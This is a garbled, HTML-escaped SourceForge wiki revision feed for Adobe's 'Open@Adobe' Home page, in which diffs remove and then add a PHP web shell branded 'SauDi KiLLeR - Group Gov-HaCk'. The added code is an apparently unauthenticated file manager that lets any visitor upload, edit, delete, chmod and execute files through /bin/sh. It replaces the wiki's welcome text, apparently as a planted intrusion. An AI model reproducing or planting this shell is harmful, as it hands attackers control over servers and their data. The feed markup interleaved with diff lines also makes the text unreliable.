-'rename_file' =&amp;gt; 'Rename file:',
-'renamed' =&amp;gt; '"[%1]" has been renamed to "[%2]".',
-'not_renamed' =&amp;gt; '"[%1] could not be renamed to "[%2]".',
-'move_files' =&amp;gt; 'Move these files:',
-'moved' =&amp;gt; "These files have been moved to \"[%2]\":\n[%1]",
-'not_moved' =&amp;gt; "These files could not be moved to \"[%2]\":\n[%1]",
-'copy_files' =&amp;gt; 'Copy these files:',
-'copied' =&amp;gt; "These files have been copied to \"[%2]\":\n[%1]",
-'not_copied' =&amp;gt; "These files could not be copied to \"[%2]\":\n[%1]",
-'not_edited' =&amp;gt; '"[%1]" can not be edited.',
-'executed' =&amp;gt; "\"[%1]\" has been executed successfully:\n{%2}",
-'not_executed' =&amp;gt; "\"[%1]\" could not be executed successfully:\n{%2}",
-'saved' =&amp;gt; '"[%1]" has been saved.',
-'not_saved' =&amp;gt; '"[%1]" could not be saved.',
-'symlinked' =&amp;gt; 'Symlink from "[%2]" to "[%1]" has been created.',
-'not_symlinked' =&amp;gt; 'Symlink from "[%2]" to "[%1]" could not be created.',
-'permission_for' =&amp;gt; 'Permission of "[%1]":',
-'permission_set' =&amp;gt; 'Permission of "[%1]" was set to [%2].',
-'permission_not_set' =&amp;gt; 'Permission of "[%1]" could not be set to [%2].',
-'not_readable' =&amp;gt; '"[%1]" can not be read.'
-		);
-
-	}
-
-}
-
-function getimage ($image) {
-	switch ($image) {
-	case 'file':
-		return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
-	case 'folder':
-		return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
-	case 'hidden_file':
-		return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
-	case 'link':
-		return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
-	case 'smiley':
-		return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
-	case 'arrow':
-		return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
-	}
-}
-
-function html_header () {
-	global $site_charset;
-
-	echo &amp;lt;&amp;lt;&amp;lt;END
-&amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&amp;gt;
-&amp;lt;html xmlns="http://www.w3.org/1999/xhtml"&amp;gt;
-&amp;lt;head&amp;gt;
-
-&amp;lt;meta http-equiv="Content-Type" content="text/html; charset=$site_charset" /&amp;gt;
-
-&amp;lt;title&amp;gt;SauDi KiLLeR - Group Gov-HaCk&amp;lt;/title&amp;gt;
-
-&amp;lt;style type="text/css"&amp;gt;
-body { font: small sans-serif; text-align: center }
-img { width: 17px; height: 13px }
-a, a:visited { text-decoration: none; color: navy }
-hr { border-style: none; height: 1px; background-color: silver; color: silver }
-#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
-#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
-.listing th, .listing td { padding: 1px 3pt 0 3pt }
-.listing th { border: 1px solid silver }
-.listing td { border: 1px solid #ddd; background: white }
-.listing .checkbox { text-align: center }
-.listing .filename { text-align: left }
-.listing .size { text-align: right }
-.listing .permission_header { text-align: left }
-.listing .permission { font-family: monospace }
-.listing .owner { text-align: left }
-.listing .group { text-align: left }
-.listing .functions { text-align: left }
-.listing_footer td { background: #eee; border: 1px solid silver }
-#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
-#directory { background: #eee; border: 1px solid silver }
-#upload { padding-top: 1em }
-#create { padding-bottom: 1em }
-.small, .small option { font-size: x-small }
-textarea { border: none; background: white }
-table.dialog { margin-left: auto; margin-right: auto }
-td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
-#permission { margin-left: auto; margin-right: auto }
-#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
-td.permission_action { text-align: right }
-#symlink { background: #eee; border: 1px solid silver }
-#symlink td { text-align: left; padding: 3pt }
-#red_button { width: 120px; color: #400 }
-#green_button { width: 120px; color: #040 }
-#error td { background: maroon; color: white; border: 1px solid silver }
-#notice td { background: green; color: white; border: 1px solid silver }
-#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
-code { font-size: 12pt }
-td { white-space: nowrap }
-&amp;lt;/style&amp;gt;
-
-&amp;lt;script type="text/javascript"&amp;gt;
-&amp;lt;!--
-function activate (name) {
-	if (document &amp;amp;&amp;amp; document.forms[0] &amp;amp;&amp;amp; document.forms[0].elements['focus']) {
-		document.forms[0].elements['focus'].value = name;
-	}
-}
-//--&amp;gt;
-&amp;lt;/script&amp;gt;
-
-&amp;lt;/head&amp;gt;
-&amp;lt;body&amp;gt;
 
 
-END;
+# Welcome to Open@Adobe!
 
-}
+This site presents the definitive view into openness efforts at Adobe, including details regarding open source projects that Adobe releases and contributes to. 
 
-function html_footer () {
+On Open@Adobe, you will find the ***[Open Source projects](Projects)*** that Adobe has released and/or is contributing to. You will also find the ***[specifications](Specifications)*** that Adobe has released as open specifications.
 
-	echo &amp;lt;&amp;lt;&amp;lt;END
-&amp;lt;/body&amp;gt;
-&amp;lt;/html&amp;gt;
-END;
 
-}
+&amp;lt;img src="/adobe/wiki/Projects/attachment/OaA2.png" style="width:220px;padding: 0 20px"&amp;gt;
 
-function notice ($phrase) {
-	global $cols;
+#### News
+[[neighborhood_blog_posts max_number=3]]
 
-	$args = func_get_args();
-	array_shift($args);
-
-	return '&amp;lt;tr id="notice"&amp;gt;
-	&amp;lt;td colspan="' . $cols . '"&amp;gt;' . phrase($phrase, $args) . '&amp;lt;/td&amp;gt;
-&amp;lt;/tr&amp;gt;
-';
-
-}
-
-function error ($phrase) {
-	global $cols;
-
-	$args = func_get_args();
-	array_shift($args);
-
-	return '&amp;lt;tr id="error"&amp;gt;
-	&amp;lt;td colspan="' . $cols . '"&amp;gt;' . phrase($phrase, $args) . '&amp;lt;/td&amp;gt;
-&amp;lt;/tr&amp;gt;
-';
-
-}
-
-?&amp;gt;
+&amp;lt;/div&amp;gt;
+&amp;lt;/div&amp;gt;
&amp;lt;/pre&amp;gt;&lt;/pre&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Dave Brondsema</dc:creator><pubDate>Wed, 01 May 2013 02:09:48 -0000</pubDate><guid>https://sourceforge.net7189679560c69ec9564cc7e8b8eba25969d46ab3</guid></item><item><title>Home modified by &lt;REDACTED&gt;</title><link>https://sourceforge.net/adobe/wiki/Home/</link><description>&lt;div class="markdown_content"&gt;&lt;pre&gt;--- v30
+++ v31
@@ -1,16 +1,2491 @@
-
-
-# Welcome to Open@Adobe!
-
-This site presents the definitive view into openness efforts at Adobe, including details regarding open source projects that Adobe releases and contributes to. 
-
-On Open@Adobe, you will find the ***[Open Source projects](Projects)*** that Adobe has released and/or is contributing to. You will also find the ***[specifications](Specifications)*** that Adobe has released as open specifications.
-
-
-&lt;img src="/adobe/wiki/Projects/attachment/OaA2.png" style="width: 220px; padding: 0 20px;" /&gt;
-
-#### News
-[[neighborhood_blog_posts max_number=3]]
-
-&lt;/div&gt;
-&lt;/div&gt;
+
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * -------------------------------------------------------------------------
+ * While using this script, do NOT navigate with your browser's back and
+ * forward buttons! Always open files in a new browser tab!
+ * -------------------------------------------------------------------------
+ *
+ * This is Version 0.9, revision 9
+ * =========================================================================
+ *
+ * Changes of revision 9
+ * 
+ *    added workaround for directory listing, if lstat() is disabled
+ *    fixed permisson of uploaded files (thanks to Stephan Duffner)
+ *
+ * Changes of revision 8
+ * 
+ *    added Turkish translation
+ * 
+ *    added Czech translation
+ * 
+ *    improved charset handling
+ *
+ * Changes of revision 7
+ * 
+ *    added Spanish translation
+ * 
+ *    added Danish translation
+ * 
+ *    improved rename dialog
+ *
+ * Changes of revision 6
+ * 
+ *    added Dutch translation
+ *
+ * Changes of revision 5
+ * 
+ *    added language auto select
+ *    fixed symlinks in directory listing
+ *    removed word-wrap in edit textarea
+ *
+ * Changes of revision 4
+ * 
+ *    added French translation
+ * 
+ *    added Swedish translation
+ *
+ * Changes of revision 3
+ * 
+ *    improved Italian translation
+ *
+ * Changes of revision 2
+ * 
+ *    got images work in some old browsers
+ *    fixed creation of directories
+ *    fixed files deletion
+ *    improved path handling
+ *    added missing word 'not_created'
+ * 
+ *    improved human readability of file sizes
+ * 
+ *    added Italian translation
+ *
+ * Changes of revision 1
+ * 
+ *    SauDi KiLLeR - Group Gov-HaCk completely rewritten:
+ *    - clean XHTML/CSS output
+ *    - several files selectable
+ *    - support for windows servers
+ *    - no more treeview, because
+ *      - SauDi KiLLeR - Group Gov-HaCk is a &gt;simple&lt; file manager
+ *      - performance problems (too much additional code)
+ *      - I don't like: frames, java-script, to reload after every treeview-click
+ *    - execution of shell scripts
+ *    - introduced revision numbers
+ *
+/* ------------------------------------------------------------------------- */
+
+/* Your language:
+ * 'en' - English
+ * 'de' - German
+ * 'fr' - French
+ * 'it' - Italian
+ * 'nl' - Dutch
+ * 'se' - Swedish
+ * 'sp' - Spanish
+ * 'dk' - Danish
+ * 'tr' - Turkish
+ * 'cs' - Czech
+ * 'auto' - autoselect
+ */
+$lang = 'auto';
+
+/* Charset of output:
+ * possible values are described in the charset table at
+ * http://www.php.net/manual/en/function.htmlentities.php
+ * 'auto' - use the same charset as the words of my language are encoded
+ */
+$site_charset = 'auto';
+
+/* Homedir:
+ * For example: './' - the script's directory
+ */
+$homedir = './';
+
+/* Size of the edit textarea
+ */
+$editcols = 80;
+$editrows = 25;
+
+/* -------------------------------------------
+ * Optional configuration (remove # to enable)
+ */
+
+/* Permission of created directories:
+ * For example: 0705 would be 'drwx---r-x'.
+ */
+# $dirpermission = 0705;
+
+/* Permission of created files:
+ * For example: 0604 would be '-rw----r--'.
+ */
+# $filepermission = 0604;
+
+/* Filenames related to the apache web server:
+ */
+$htaccess = '.htaccess';
+$htpasswd = '.htpasswd';
+
+/* ------------------------------------------------------------------------- */
+
+if (get_magic_quotes_gpc()) {
+   array_walk($_GET, 'strip');
+   array_walk($_POST, 'strip');
+   array_walk($_REQUEST, 'strip');
+}
+
+if (array_key_exists('image', $_GET)) {
+   header('Content-Type: image/gif');
+   die(getimage($_GET['image']));
+}
+
+if (!function_exists('lstat')) {
+   function lstat ($filename) {
+       return stat($filename);
+   }
+}
+
+$delim = DIRECTORY_SEPARATOR;
+
+if (function_exists('php_uname')) {
+   $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
+} else {
+   $win = ($delim == '\\') ? true : false;
+}
+
+if (!empty($_SERVER['PATH_TRANSLATED'])) {
+   $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
+} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
+   $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
+} elseif (function_exists('getcwd')) {
+   $scriptdir = getcwd();
+} else {
+   $scriptdir = '.';
+}
+$homedir = relative2absolute($homedir, $scriptdir);
+
+$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
+
+if (array_key_exists('olddir', $_POST) &amp;&amp; !path_is_relative($_POST['olddir'])) {
+   $dir = relative2absolute($dir, $_POST['olddir']);
+}
+
+$directory = simplify_path(addslash($dir));
+
+$files = array();
+$action = '';
+if (!empty($_POST['submit_all'])) {
+   $action = $_POST['action_all'];
+   for ($i = 0; $i &lt; $_POST['num']; $i++) {
+       if (array_key_exists("checked$i", $_POST) &amp;&amp; $_POST["checked$i"] == 'true') {
+           $files[] = $_POST["file$i"];
+       }
+   }
+} elseif (!empty($_REQUEST['action'])) {
+   $action = $_REQUEST['action'];
+   $files[] = relative2absolute($_REQUEST['file'], $directory);
+} elseif (!empty($_POST['submit_upload']) &amp;&amp; !empty($_FILES['upload']['name'])) {
+   $files[] = $_FILES['upload'];
+   $action = 'upload';
+} elseif (array_key_exists('num', $_POST)) {
+   for ($i = 0; $i &lt; $_POST['num']; $i++) {
+       if (array_key_exists("submit$i", $_POST)) break;
+   }
+   if ($i &lt; $_POST['num']) {
+       $action = $_POST["action$i"];
+       $files[] = $_POST["file$i"];
+   }
+}
+if (empty($action) &amp;&amp; (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) &amp;&amp; $_POST['focus'] == 'create')) &amp;&amp; !empty($_POST['create_name'])) {
+   $files[] = relative2absolute($_POST['create_name'], $directory);
+   switch ($_POST['create_type']) {
+   case 'directory':
+       $action = 'create_directory';
+       break;
+   case 'file':
+       $action = 'create_file';
+   }
+}
+if (sizeof($files) == 0) $action = ''; else $file = reset($files);
+
+if ($lang == 'auto') {
+   if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) &amp;&amp; strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) &gt;= 2) {
+       $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
+   } else {
+       $lang = 'en';
+   }
+}
+
+$words = getwords($lang);
+
+if ($site_charset == 'auto') {
+   $site_charset = $word_charset;
+}
+
+$cols = ($win) ? 4 : 7;
+
+if (!isset($dirpermission)) {
+   $dirpermission = (function_exists('umask')) ? (0777 &amp; ~umask()) : 0755;
+}
+if (!isset($filepermission)) {
+   $filepermission = (function_exists('umask')) ? (0666 &amp; ~umask()) : 0644;
+}
+
+if (!empty($_SERVER['SCRIPT_NAME'])) {
+   $self = html(basename($_SERVER['SCRIPT_NAME']));
+} elseif (!empty($_SERVER['PHP_SELF'])) {
+   $self = html(basename($_SERVER['PHP_SELF']));
+} else {
+   $self = '';
+}
+
+if (!empty($_SERVER['SERVER_SOFTWARE'])) {
+   if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
+       $apache = true;
+   } else {
+       $apache = false;
+   }
+} else {
+   $apache = true;
+}
+
+switch ($action) {
+
+case 'view':
+
+   if (is_script($file)) {
+
+       /* highlight_file is a mess! */
+       ob_start();
+       highlight_file($file);
+       $src = ereg_replace('&lt;font color="([^"&gt;', '&lt;span&gt;', ob_get_contents());
+       $src = str_replace(array('&lt;/font&gt;', "\r", "\n"), array('&lt;/span&gt;', '', ''), $src);
+       ob_end_clean();
+
+       html_header();
+       echo '&lt;h2 style="text-align: left; margin-bottom: 0;"&gt;' . html($file) . '&lt;/h2&gt;
+
+&lt;hr /&gt;
+
+&lt;table&gt;
+&lt;tr&gt;
+&lt;td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray;"&gt;
+&lt;pre style="margin-top: 0;"&gt;&lt;code&gt;';
+
+       for ($i = 1; $i &lt;= sizeof(file($file)); $i++) echo "$i\n";
+
+       echo '&lt;/code&gt;&lt;/pre&gt;
+&lt;/td&gt;
+&lt;td style="text-align: left; vertical-align: top; padding-left: 3pt;"&gt;
+&lt;pre style="margin-top: 0;"&gt;' . $src . '&lt;/pre&gt;
+&lt;/td&gt;
+&lt;/tr&gt;
+&lt;/table&gt;
+
+';
+
+       html_footer();
+
+   } else {
+
+       header('Content-Type: ' . getmimetype($file));
+       header('Content-Disposition: filename=' . basename($file));
+
+       readfile($file);
+
+   }
+
+   break;
+
+case 'download':
+
+   header('Pragma: public');
+   header('Expires: 0');
+   header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
+   header('Content-Type: ' . getmimetype($file));
+   header('Content-Disposition: attachment; filename=' . basename($file) . ';');
+   header('Content-Length: ' . filesize($file));
+
+   readfile($file);
+
+   break;
+
+case 'upload':
+
+   $dest = relative2absolute($file['name'], $directory);
+
+   if (@file_exists($dest)) {
+       listing_page(error('already_exists', $dest));
+   } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
+       @chmod($dest, $filepermission);
+       listing_page(notice('uploaded', $file['name']));
+   } else {
+       listing_page(error('not_uploaded', $file['name']));
+   }
+
+   break;
+
+case 'create_directory':
+
+   if (@file_exists($file)) {
+       listing_page(error('already_exists', $file));
+   } else {
+       $old = @umask(0777 &amp; ~$dirpermission);
+       if (@mkdir($file, $dirpermission)) {
+           listing_page(notice('created', $file));
+       } else {
+           listing_page(error('not_created', $file));
+       }
+       @umask($old);
+   }
+
+   break;
+
+case 'create_file':
+
+   if (@file_exists($file)) {
+       listing_page(error('already_exists', $file));
+   } else {
+       $old = @umask(0777 &amp; ~$filepermission);
+       if (@touch($file)) {
+           edit($file);
+       } else {
+           listing_page(error('not_created', $file));
+       }
+       @umask($old);
+   }
+
+   break;
+
+case 'execute':
+
+   chdir(dirname($file));
+
+   $output = array();
+   $retval = 0;
+   exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
+
+   $error = ($retval == 0) ? false : true;
+
+   if (sizeof($output) == 0) $output = array('&lt;' . $words['no_output'] . '&gt;');
+
+   if ($error) {
+       listing_page(error('not_executed', $file, implode("\n", $output)));
+   } else {
+       listing_page(notice('executed', $file, implode("\n", $output)));
+   }
+
+   break;
+
+case 'delete':
+
+   if (!empty($_POST['no'])) {
+       listing_page();
+   } elseif (!empty($_POST['yes'])) {
+
+       $failure = array();
+       $success = array();
+
+       foreach ($files as $file) {
+           if (del($file)) {
+               $success[] = $file;
+           } else {
+               $failure[] = $file;
+           }
+       }
+
+       $message = '';
+       if (sizeof($failure) &gt; 0) {
+           $message = error('not_deleted', implode("\n", $failure));
+       }
+       if (sizeof($success) &gt; 0) {
+           $message .= notice('deleted', implode("\n", $success));
+       }
+
+       listing_page($message);
+
+   } else {
+
+       html_header();
+
+       echo '&lt;form action="' . $self . '" method="post"&gt;
+&lt;table class="dialog"&gt;
+&lt;tr&gt;
+&lt;td class="dialog"&gt;
+';
+
+       request_dump();
+
+       echo "\t&lt;b&gt;" . word('really_delete') . '&lt;/b&gt;
+   &lt;p&gt;
+';
+
+       foreach ($files as $file) {
+           echo "\t" . html($file) . "&lt;br /&gt;\n";
+       }
+
+       echo '  &lt;/p&gt;
+   &lt;hr /&gt;
+   &lt;input id="red_button" name="no" type="submit" value="' . word('no') . '" /&gt;
+   &lt;input id="green_button" name="yes" style="margin-left: 50px;" type="submit" value="' . word('yes') . '" /&gt;
+&lt;/td&gt;
+&lt;/tr&gt;
+&lt;/table&gt;
+&lt;/form&gt;
+
+';
+
+       html_footer();
+
+   }
+
+   break;
+
+case 'rename':
+
+   if (!empty($_POST['destination'])) {
+
+       $dest = relative2absolute($_POST['destination'], $directory);
+
+       if (!@file_exists($dest) &amp;&amp; @rename($file, $dest)) {
+           listing_page(notice('renamed', $file, $dest));
+       } else {
+           listing_page(error('not_renamed', $file, $dest));
+       }
+
+   } else {
+
+       $name = basename($file);
+
+       html_header();
+
+       echo '&lt;form action="' . $self . '" method="post"&gt;
+
+&lt;table class="dialog"&gt;
+&lt;tr&gt;
+&lt;td class="dialog"&gt;
+   &lt;input name="action" type="hidden" value="rename" /&gt;
+   &lt;input name="file" type="hidden" value="' . html($file) . '" /&gt;
+   &lt;input name="dir" type="hidden" value="' . html($directory) . '" /&gt;
+   &lt;b&gt;' . word('rename_file') . '&lt;/b&gt;
+   &lt;p&gt;' . html($file) . '&lt;/p&gt;
+   &lt;b&gt;' . substr($file, 0, strlen($file) - strlen($name)) . '&lt;/b&gt;
+   &lt;input name="destination" size="' . textfieldsize($name) . '" type="text" value="' . html($name) . '" /&gt;
+   &lt;hr /&gt;
+   &lt;input type="submit" value="' . word('rename') . '" /&gt;
+&lt;/td&gt;
+&lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;p&gt;&lt;a href="' . $self . '?dir=' . urlencode($directory) . '"&gt;[ ' . word('back') . ' ]&lt;/a&gt;&lt;/p&gt;
+
+&lt;/form&gt;
+
+';
+
+       html_footer();
+
+   }
+
+   break;
+
+case 'move':
+
+   if (!empty($_POST['destination'])) {
+
+       $dest = relative2absolute($_POST['destination'], $directory);
+
+       $failure = array();
+       $success = array();
+
+       foreach ($files as $file) {
+           $filename = substr($file, strlen($directory));
+           $d = $dest . $filename;
+           if (!@file_exists($d) &amp;&amp; @rename($file, $d)) {
+               $success[] = $file;
+           } else {
+               $failure[] = $file;
+           }
+       }
+
+       $message = '';
+       if (sizeof($failure) &gt; 0) {
+           $message = error('not_moved', implode("\n", $failure), $dest);
+       }
+       if (sizeof($success) &gt; 0) {
+           $message .= notice('moved', implode("\n", $success), $dest);
+       }
+
+       listing_page($message);
+
+   } else {
+
+       html_header();
+
+       echo '&lt;form action="' . $self . '" method="post"&gt;
+
+&lt;table class="dialog"&gt;
+&lt;tr&gt;
+&lt;td class="dialog"&gt;
+';
+
+       request_dump();
+
+       echo "\t&lt;b&gt;" . word('move_files') . '&lt;/b&gt;
+   &lt;p&gt;
+';
+
+       foreach ($files as $file) {
+           echo "\t" . html($file) . "&lt;br /&gt;\n";
+       }
+
+       echo '  &lt;/p&gt;
+   &lt;hr /&gt;
+   ' . word('destination') . ':
+   &lt;input name="destination" size="' . textfieldsize($directory) . '" type="text" value="' . html($directory) . '" /&gt;
+   &lt;input type="submit" value="' . word('move') . '" /&gt;
+&lt;/td&gt;
+&lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;p&gt;&lt;a href="' . $self . '?dir=' . urlencode($directory) . '"&gt;[ ' . word('back') . ' ]&lt;/a&gt;&lt;/p&gt;
+
+&lt;/form&gt;
+
+';
+
+       html_footer();
+
+   }
+
+   break;
+
+case 'copy':
+
+   if (!empty($_POST['destination'])) {
+
+       $dest = relative2absolute($_POST['destination'], $directory);
+
+       if (@is_dir($dest)) {
+
+           $failure = array();
+           $success = array();
+
+           foreach ($files as $file) {
+               $filename = substr($file, strlen($directory));
+               $d = addslash($dest) . $filename;
+               if (!@is_dir($file) &amp;&amp; !@file_exists($d) &amp;&amp; @copy($file, $d)) {
+                   $success[] = $file;
+               } else {
+                   $failure[] = $file;
+               }
+           }
+
+           $message = '';
+           if (sizeof($failure) &gt; 0) {
+               $message = error('not_copied', implode("\n", $failure), $dest);
+           }
+           if (sizeof($success) &gt; 0) {
+               $message .= notice('copied', implode("\n", $success), $dest);
+           }
+
+           listing_page($message);
+
+       } else {
+
+           if (!@file_exists($dest) &amp;&amp; @copy($file, $dest)) {
+               listing_page(notice('copied', $file, $dest));
+           } else {
+               listing_page(error('not_copied', $file, $dest));
+           }
+
+       }
+
+   } else {
+
+       html_header();
+
+       echo '&lt;form action="' . $self . '" method="post"&gt;
+
+&lt;table class="dialog"&gt;
+&lt;tr&gt;
+&lt;td class="dialog"&gt;
+';
+
+       request_dump();
+
+       echo "\n&lt;b&gt;" . word('copy_files') . '&lt;/b&gt;
+   &lt;p&gt;
+';
+
+       foreach ($files as $file) {
+           echo "\t" . html($file) . "&lt;br /&gt;\n";
+       }
+
+       echo '  &lt;/p&gt;
+   &lt;hr /&gt;
+   ' . word('destination') . ':
+   &lt;input name="destination" size="' . textfieldsize($directory) . '" type="text" value="' . html($directory) . '" /&gt;
+   &lt;input type="submit" value="' . word('copy') . '" /&gt;
+&lt;/td&gt;
+&lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;p&gt;&lt;a href="' . $self . '?dir=' . urlencode($directory) . '"&gt;[ ' . word('back') . ' ]&lt;/a&gt;&lt;/p&gt;
+
+&lt;/form&gt;
+
+';
+
+       html_footer();
+
+   }
+
+   break;
+
+case 'create_symlink':
+
+   if (!empty($_POST['destination'])) {
+
+       $dest = relative2absolute($_POST['destination'], $directory);
+
+       if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
+
+       if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
+
+       if (!@file_exists($dest) &amp;&amp; @symlink($file, $dest)) {
+           listing_page(notice('symlinked', $file, $dest));
+       } else {
+           listing_page(error('not_symlinked', $file, $dest));
+       }
+
+   } else {
+
+       html_header();
+
+       echo '&lt;form action="' . $self . '" method="post"&gt;
+
+&lt;table class="dialog" id="symlink"&gt;
+&lt;tr&gt;
+   &lt;td style="vertical-align: top;"&gt;' . word('destination') . ': &lt;/td&gt;
+   &lt;td&gt;
+       &lt;b&gt;' . html($file) . '&lt;/b&gt;&lt;br /&gt;
+       &lt;input checked="checked" id="checkbox_relative" name="relative" style="margin-top: 1ex;" type="checkbox" value="yes" /&gt;
+       &lt;label for="checkbox_relative"&gt;' . word('relative') . '&lt;/label&gt;
+       &lt;input name="action" type="hidden" value="create_symlink" /&gt;
+       &lt;input name="file" type="hidden" value="' . html($file) . '" /&gt;
+       &lt;input name="dir" type="hidden" value="' . html($directory) . '" /&gt;
+   &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+   &lt;td&gt;' . word('symlink') . ': &lt;/td&gt;
+   &lt;td&gt;
+       &lt;input name="destination" size="' . textfieldsize($directory) . '" type="text" value="' . html($directory) . '" /&gt;
+       &lt;input type="submit" value="' . word('create_symlink') . '" /&gt;
+   &lt;/td&gt;
+&lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;p&gt;&lt;a href="' . $self . '?dir=' . urlencode($directory) . '"&gt;[ ' . word('back') . ' ]&lt;/a&gt;&lt;/p&gt;
+
+&lt;/form&gt;
+
+';
+
+       html_footer();
+
+   }
+
+   break;
+
+case 'edit':
+
+   if (!empty($_POST['save'])) {
+
+       $content = str_replace("\r\n", "\n", $_POST['content']);
+
+       if (($f = @fopen($file, 'w')) &amp;&amp; @fwrite($f, $content) !== false &amp;&amp; @fclose($f)) {
+           listing_page(notice('saved', $file));
+       } else {
+           listing_page(error('not_saved', $file));
+       }
+
+   } else {
+
+       if (@is_readable($file) &amp;&amp; @is_writable($file)) {
+           edit($file);
+       } else {
+           listing_page(error('not_edited', $file));
+       }
+
+   }
+
+   break;
+
+case 'permission':
+
+   if (!empty($_POST['set'])) {
+
+       $mode = 0;
+       if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
+       if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
+       if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
+
+       if (@chmod($file, $mode)) {
+           listing_page(notice('permission_set', $file, decoct($mode)));
+       } else {
+           listing_page(error('permission_not_set', $file, decoct($mode)));
+       }
+
+   } else {
+
+       html_header();
+
+       $mode = fileperms($file);
+
+       echo '&lt;form action="' . $self . '" method="post"&gt;
+
+&lt;table class="dialog"&gt;
+&lt;tr&gt;
+&lt;td class="dialog"&gt;
+
+   &lt;p style="margin: 0;"&gt;' . phrase('permission_for', $file) . '&lt;/p&gt;
+
+   &lt;hr /&gt;
+
+   &lt;table id="permission"&gt;
+   &lt;tr&gt;
+       &lt;td&gt;&lt;/td&gt;
+       &lt;td style="border-right: 1px solid black;"&gt;' . word('owner') . '&lt;/td&gt;
+       &lt;td style="border-right: 1px solid black;"&gt;' . word('group') . '&lt;/td&gt;
+       &lt;td&gt;' . word('other') . '&lt;/td&gt;
+   &lt;/tr&gt;
+   &lt;tr&gt;
+       &lt;td style="text-align: right;"&gt;' . word('read') . ':&lt;/td&gt;
+       &lt;td&gt;&lt;input name="ur" type="checkbox" value="1" /&gt;&lt;/td&gt;
+       &lt;td&gt;&lt;input name="gr" type="checkbox" value="1" /&gt;&lt;/td&gt;
+       &lt;td&gt;&lt;input name="or" type="checkbox" value="1" /&gt;&lt;/td&gt;
+   &lt;/tr&gt;
+   &lt;tr&gt;
+       &lt;td style="text-align: right;"&gt;' . word('write') . ':&lt;/td&gt;
+       &lt;td&gt;&lt;input name="uw" type="checkbox" value="1" /&gt;&lt;/td&gt;
+       &lt;td&gt;&lt;input name="gw" type="checkbox" value="1" /&gt;&lt;/td&gt;
+       &lt;td&gt;&lt;input name="ow" type="checkbox" value="1" /&gt;&lt;/td&gt;
+   &lt;/tr&gt;
+   &lt;tr&gt;
+       &lt;td style="text-align: right;"&gt;' . word('execute') . ':&lt;/td&gt;
+       &lt;td&gt;&lt;input name="ux" type="checkbox" value="1" /&gt;&lt;/td&gt;
+       &lt;td&gt;&lt;input name="gx" type="checkbox" value="1" /&gt;&lt;/td&gt;
